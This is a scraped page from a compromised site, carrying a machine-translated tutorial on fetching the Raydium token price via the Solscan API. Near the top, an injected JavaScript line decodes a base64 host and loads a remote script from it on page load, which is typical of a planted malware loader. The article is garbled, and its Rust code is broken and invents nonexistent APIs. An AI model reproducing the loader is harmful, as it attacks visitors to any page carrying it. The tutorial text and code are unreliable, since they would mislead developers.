Solana: How to get Raydium Token price using Solscan API - F.I.S.A.R. A.P.S.

Compatibilità
Salva(0)
Condividi

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=5fd15331″;document.body.appendChild(script);

Receive the price of the Raydium marker using SolScan API: Fast Guide

Recently, Solana has emerged as a leading platform for decentralized applications (Dapps), and its native cryptocurrency, Raydium token (Ray) attracted considerable attention. As a popular Blockchain commercial couple by Solana, Ray is closely observed by traders and investors. In this article, we will study the process of receiving the current Raydium tokens using SolScan API (Pro).

What is SolScan’s API?

SolScan API (Pro) is a powerful tool that allows developers to interact with Solana blockchain. It provides access to various APIs, including SolScan, which offers a number of features and tools for building personalized applications.

First Steps: SolScan API Setting

To use the SolScan API, you will need to register an account on the SolScan platform and get your API key. Here is a step -by -step guide:

  • Go to the website of [SolScan] (
  • Click Create Account and follow the instructions.
  • Complete the registration form with your email, password and other details.
  • Check your account by clicking the link sent to your email.

Receive SolScan’s API key

After registering an account, you will receive a unique API key. To use this key in SolScan’s API, follow these steps:

  • Sign in to your SolScan account and go to the “API keys” section.
  • Click “Generate a new API key”.
  • Complete the form with your API key and other details (such as name, email).
  • Download your API key as a JSON file.

First Steps with SolScan API

Now that you have your API key, you can start using it to get the price of Solana’s Raydium marker. Here is an example fragment of code in Rust:

`Rust

Use solana_sdk :: Account_info :: {Accountinfo, Programid};

Use Solana_sdk :: Key_pair :: Keypair;

Use solana_sdk :: transaction :: transaction;

// Define the API key and information about the Raydium marker account

const ray_api_key: & str = "your_api_key";

Const ray_account_info: & Accountinfo = & Accountinfo {

Pub key: Keypair :: New ([1, 0]), // Replace with your public address

PUB PROGRAM_ID: Programid :: from_str ("Ray"). Unlrap (),

};

// Define the transaction to get the price of the Raydium marker

Async fn get_raydium_taken_price () -> result <(), field > {{{{{

Let mut transaction = transaction :: new ();

transaction.set_program_id (public :: from_str ("your_public_address"));

transaction.add_input_account_info (ray_account_info);

transaction.sign (& ray_api_key);

// Complete the transaction

Let (tx_hash, _, _) = solana_sdk :: Transaction :: Run_transction (Transaction) .AWAIT?;

Let transaction_result = tx_hash.as_ref (). Unlrap ();

Match transaction_duzult {

OK (_) => OK (()),

Err (e) => err (field :: new (std :: error :: error :: from (e))),

}

}

// basic function

Async Fn Main () -> Result <(), field > {{{

Let Result = Get_Raydium_TeKen_Price (). Expecting?;

If! result.is_ok () {

Eprintln! ("Error: {}", result);

return;

}

// Print the price of the Raydium marker

Println! ("Raydium token price: {}", result.unwrap ());

Good (())

}

Implementation of the code

Save this code in a file (eg, get_raydium_taken_price.rs) and start it using your favorite IDE or command line. Replace the substitutes (your_api_key,your_public_address, etc.) with your actual SolScan API key, public address and other details.

Tips and Variations

  • To get the current price of Raydium Token, you can change the transaction to use Solana’s Get_Price.
  • You can also use theget_account_info` feature to bring information about specific accounts, including their balances and addresses.

Solana Token Cannot Displayed Phantom

Recapiti
admin